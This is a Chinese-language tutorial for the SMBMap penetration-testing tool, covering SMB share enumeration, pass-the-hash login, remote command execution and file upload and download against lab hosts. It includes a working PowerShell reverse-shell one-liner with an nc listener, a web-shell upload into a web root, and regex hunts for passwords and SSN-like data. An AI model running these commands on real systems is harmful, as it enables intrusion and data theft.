简介
SMBMap 允许用户枚举整个域中的 samba 共享驱动器。 列出共享驱动器、驱动器权限、共享内容、上传/下载功能,文件名自动下载模式匹配,甚至执 远程命令。该工具的设计考虑到了笔测试,并且旨在简化对大型数据中潜在敏感数据的搜索网络。
特征
- 传递哈希支持
- 文件上传/下载/删除
- 许可枚举(可写的共享,满足Metasploit)
- 远程命令执行
- 分散的文件内容搜索(beta!)
- 文件名与匹配(具有自动降低功能)
- 主机文件解析器支持IP,主机名和CIDR
- SMB浸入检测
- 服务器版本输出
- Kerberos支持! (超级测试版)
安装
源码安装
通过以下命令克隆项目,建议请先提前挂好代理进行克隆。
git clone https://github.com/ShawnDEvans/smbmap.git
打开目录并查看
cd smbmap/
ls
创建 python 虚拟空间
python3 -m venv venv
激活虚拟空间
source venv/bin/activate
#不使用这个虚拟空间的时候输入deactivate可以取消激活虚拟空间。
安装,这一步建议提前挂好代理。
python3 setup.py install
通过 ls 命令可以看到有一个 smbmap 的文件夹,进入这个文件夹并查看。
ls
cd smbmap/
ls
可以看到有一个 smbmap.py 的文件。运行这个脚本,如果出现以下界面这说明安装成功了。
python3 smbmap.py
PIP包管理器安装
可以通过pip包管理工具进行安装 smbmap 工具
pip3 install smbmap
运行以下命令,如果出现这个界面就说明安装成功了。
smbmap
APT包管理器安装
Kali Linux 默认已经安装好 smbmap 工具了。也可以通过以下命令进行安装
sudo apt install smbmap
使用
可选参数
1. -h, --help
显示帮助消息并退出
smbmap -h
主要参数
2. -H HOST
主机的 IP
smbmap -H 192.168.174.132
3. --host-file FILE
包含主机列表的文件
smbmap --host-file hostfile.txt
4. -u USERNAME
用户名,如果省略则假定为空会话
5. -p PASSWORD
密码或 NTLM 哈希
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin
6. -s SHARE
指定共享(默认 C$),例如“C$”
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -s C$
7. -d DOMAIN
域名(默认 WORKGROUP)
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -d WORKGROUP
8. -P PORT
SMB 端口(默认 445)
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -P 445
9. -v, --version
返回远程主机的操作系统版本
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -v
10. --signing
检查主机是否已禁用、启用或需要 SMB 签名
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --signing

11. --admin
仅报告用户是否是管理员
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --admin

12. --no-banner
从中删除横幅输出顶部
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --no-banner

13. --no-color
从输出中删除颜色
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --no-color

14. --no-update
删除“正在处理”消息
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --no-update
15. --timeout SCAN_TIMEOUT
设置端口扫描套接字超时。默认值为 0.5 秒
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --timeout 1
Kerberos 设置
16. -k, --kerberos
使用 Kerberos 身份验证
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -k
17. --no-pass
使用 CCache 文件(导出KRB5CCNAME='~/current.ccache')
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --no-pass
18. --dc-ip IP or Host
DC 的 IP 或 FQDN
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --dc-ip 192.168.174.132
命令执行
在指定主机上执行命令的选项
19. -x COMMAND
执行命令,例如“ipconfig /all”
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -x "ipconfig /all"
20. --mode CMDMODE
设置执行方法,wmi 或 psexec,默认wmi
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --mode wmi
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --mode psexec
硬盘驱动器搜索
搜索/枚举指定主机共享的选项
21. -L
列出指定主机上的所有驱动器,需要ADMIN 权限。
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -L
22. -R [PATH] 老版本特有。新版本已移除。
递归列出目录和文件(无共享\路径列出所有共享),例如“C$\Finance”
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -R
23. -r [PATH]
递归列出目录和文件(没有 share\path 列出所有共享的根目录),例如 'email/backup'
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -r
24. -g FILE
以 grep 友好格式输出到文件,与 -r 一起使用(否则不输出任何内容),例如 -g grep_out.txt
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -r -g grep_out.txt
cat grep_out.txt
25. -csv FILE
输出到 CSV 文件,例如 --csv shares.csv
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --csv shares.csv
cat shares.csv
26. -dir-only
仅列出目录,省略文件。
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --dir-only
27. --no-write-check
跳过检查以查看驱动器是否授予写访问权限。
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin --no-write-check
28. -q
安静详细输出。仅显示您已读取或写入的共享,并在执行搜索(-A)时抑制文件列表。
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -q
29. --depth DEPTH
遍历目录树到特定深度。默认值为 1(根节点)。
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -r --depth 2
30. --exclude SHARE [SHARE ...]
从搜索和列表中排除共享,例如--exclude ADMIN$ C$'
smbmap -H 192.168.174.128 -u Windows7 --exclude ADMIN$
31. -A PATTERN
定义文件名模式(正则表达式),匹配时自动下载文件(需要 -r),不区分大小写,例如 '(web|global).(asax|config)'
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -r -A '(web|global).(asax|config)'
文件内容搜索
用于搜索文件内容的选项(必须以 root 身份运行),有点实验性
32. -F PATTERN
文件内容搜索,-F '[Pp]assword'(需要管理员权限才能执行命令,并在受害主机上使用 PowerShell)
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin -F 'password'
33. --search-path PATH
指定要搜索的驱动器/路径(与 -F 一起使用,默认为 C:\Users),例如 'D:\HR\'
smbmap -H 192.168.174.128 -u Windows7 -F '信息收集篇.docx' --search-path 'C:\Users\Windows 7\Downloads\文档\'
34. --search-timeout TIMEOUT
指定文件搜索作业终止前的超时时间(以秒为单位)。默认值为 300 秒。
smbmap -H 192.168.174.128 -u Windows7 --search-path 'C:\Users\Windows 7\Downloads\文档\' --search-timeout 300
文件系统交互
与指定主机的文件系统交互的选项
35. --download PATH
从远程系统下载文件,例如“C$\temp\passwords.txt”
smbmap -H 192.168.174.128 -u Windows7 --download 'C$\Users\Windows 7\Downloads\test.txt'
我这里测试是拒绝下载文件,因为权限不足。没有使用管理员账户。
36. --upload SRC DST
将文件上传到远程系统,例如“/tmp/payload.exe C$\temp\payload.exe”
smbmap -H 192.168.174.128 -u Windows7 --upload custom_headers.txt C$\Downloads\custom_headers.txt
这里也是和上面一样,估计是权限问题导致的。
37. --delete PATH TO FILE
删除远程文件,例如'C$\temp\msf.exe'
smbmap -H 192.168.174.128 -u Windows7 --delete 'C$\Downloads\log.txt'
权限问题,同上。
38. --skip
跳过删除文件确认提示
smbmap -H 192.168.174.128 -u Windows7 --delete 'C$\Downloads\log.txt' --skip
综合使用
示例
smbmap -u jsmith -p password -d workgroup -H 192.168.0.1
smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
smbmap -u 'apadmin' -p 'asdf1234!' -d ACME -H 10.1.3.30 -x 'net group "Domain Admins" /domain'
默认输出
smbmap -H 192.168.174.132 -u msfadmin -p msfadmin
命令执行
smbmap -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
非递归路径列表(ls)
smbmap -H 192.168.86.214 -u Administrator -p asdf1234 -r c$ -q
递归列表
smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r Tools --depth 2 --no-banner -q
递归文件名模式搜索
smbmap -H 192.168.86.179 -u Administrator -p asdf1234 -r 'c$/program files' --depth 2 -A '(password|config)'
扫描SMB签名支持
smbmap --host-file local.txt --signing
获取版本信息
smbmap --host-file local.txt -v
文件内容搜索
smbmap --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
驱动器列表
添加此功能是为了补充文件内容搜索功能
smbmap -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
Shell
在受害者SMB主机上运行PowerShell脚本(将代码中的IP更改为IP addres,即shell连接到的位置)
smbmap -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
攻击者NetCat监听
请先运行这个条命令开启端口监听。然后运行上面的Shell命令去运行PowerShell脚本,使之反弹回shell。
nc -l 4445
高级使用
查找 NULL 会话
识别系统上的 NULL 会话可以授予对各种资源的未经授权的访问权限,甚至包括远程命令执行(尽管很少见)。这是解决多个主机之间容易出现的错误配置的好方法。这个想法很简单——不使用用户名,不使用密码,并且无论如何都能获得会话。语法很简单
smbmap --host-file smb-hosts.txt
查找并下载潜在敏感文件
SMB 服务代表了大多数大型企业网络环境中的重要攻击面。每个 SMB 服务器可能托管数百 GB 的数据。存储大量数据相对便宜。作为笔测试人员,我们面临着在一堆针中找到特定针的挑战。 SMBMap 具有专门为应对这一挑战而设计的功能。 SMBMap 可以递归 (-R) 或非递归 (-r) 枚举共享驱动器上的文件,并自动下载与用户定义的正则表达式模式(-A“模式”)匹配的任何文件。执行递归搜索时,SMBMap 接受可以限制遍历深度以提高性能的参数(--深度)。此外,SMBMap 可以排除某些共享(--exclude),例如 IPC$ 或 ADMIN$,以消除遍历很少(如果有的话?)包含敏感文件的共享所浪费的时间。
smbmap --host-file smb-hosts.txt u ‘jsmith’ -p ‘Spring!2020’ -q -R --depth 2 --exclude ADMIN$ IPC$ -A ‘passw’
破坏 Web 服务器
使用 SMBMap,我有机会评估数千个 SMB 共享资源。我发现在企业网络环境中共享的令人惊讶的常见资源之一是内部环境中托管的 Web 应用程序的根目录。更令人惊讶的是,部署这些资源并分配给基本域用户帐户的读写权限的频率。将文件写入应用程序服务器的 Web 根目录的能力引入了利用 Web shell 执行任意命令来破坏服务器的可能性。该方法相当简单,但诀窍是隔离容易受到这种错误配置影响的 Web 服务器。值得庆幸的是,SMBMap 使这个过程变得简单。
查找 Web 应用程序 SMB 共享
Web 应用程序服务器都有一些共同点。它们都托管应用程序源代码,并且(通常)托管应用程序配置文件。这些常量的可预测性质使得创建一个正则表达式来捕获大量可能目标的这些条件变得相当容易。
smbmap --host-file smb-hosts.txt -u ‘jsmith’ -p ‘Spring!2020’ -d ‘ACME’ -q -R --depth 3 --exclude ADMIN$ IPC$ -A ‘(web|server|global|index|login|logout|auth|httpd|config).(xml|config|conf|asax|aspx|php|asp|jsp|html)’
有用的提示: 下载文件时,文件名将始终反映文件所在的源主机和路径,格式为: "<ip.address>-<share>_<path1>_<path2>_<pathN>.<extension>"。这使得持续攻击的目标很容易归零。
上述 SMBMap 命令递归扫描 SMB 共享驱动器中是否存在 Web 应用程序配置和源代码文件,并自动下载与该模式匹配的任何文件。假设扫描产生了一些命中,则收集的数据将为渗透测试人员提供许多数据点来计划其他攻击。可以分析源代码是否存在凭据、SQL 注入、加密方法和其他风险领域。 Web 应用程序配置文件通常包含明文数据库凭据,这可能使攻击者能够直接访问应用程序数据库。这些条件本身就会带来不必要的风险,但托管文件的服务器可能已授予未经授权的用户写入权限。在这些情况下,可以利用 SMBMap 将 Web shell 上传到易受攻击的应用程序服务器的 Web 根目录。
检查SMB共享权限
SMBMap 最基本的用途和主要区别之一是枚举跨 SMB 共享驱动器的权限。这种分析方法允许笔测试人员快速识别托管密集共享数据的系统,以及部署了错误配置权限的系统。
smbmap --host-file test.txt -u administrator -p asdf1234 -q
上传文件
一旦在环境中确定了有利攻击条件的正确对齐,就可以通过将网络壳上传到错误配置的Web应用程序根目录来妥协Web服务器。命令语法很简单
smbmap -H 192.168.86.20 -u ‘administrator’ -p ‘asdf1234’ -upload websell.php ‘htdocs\nopsec.php’
一旦上传,就可以在浏览器中访问恶意网络壳,并对受害者服务器执行远程命令,可以将其利用在特权升级和智能收集攻击的特权和情报收集攻击中。
执行文件内容搜索
SMBMAP支持在受害者主机上启动PowerShell子进程的能力,并启用蜘蛛局部驱动器(例如C:\用户),用于用户在文件中定义的正则表达式的实例,就像远程GREP一样。这种识别潜在敏感文件的方法需要在系统上进行管理权,并且目标主机必须在启用PowerShell的Windows版本上运行。假设满足了这些条件,则可以同时通过数百个主机进行此搜索。应当指出,这可能会导致受害者主机上的CPU尖峰,并花费大量时间完成。最后,此扫描类型要求将SMBMAP执行为“ root”,因为在TCP端口445上启动了SMB服务器。
smbmap --host-file test.txt -u administrator -p asdf1234 -F password' --search-timeout 500
注意: 此功能尚未经过必要的彻底测试,并且存在已知的错误。 SMB 服务器在线程库中引发异常。 SMB 服务器一切仍然正常,但错误很烦人。还有一个棘手的问题,即它缺乏对文件内容搜索的优雅清理。如果 SMBMap 在作业完成之前遇到异常,那么这些作业将运行直到完成,并且所有输出文件将保留在 %TEMP% 目录中。
总结
SMBMap 是一款功能强大的 SMB 协议渗透测试工具,支持快速枚举和操作共享资源。通过灵活的参数设置,用户可轻松实现信息收集、权限验证和文件管理,是安全测试中的重要助手。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。
欢迎各位大佬,小白来找我交流。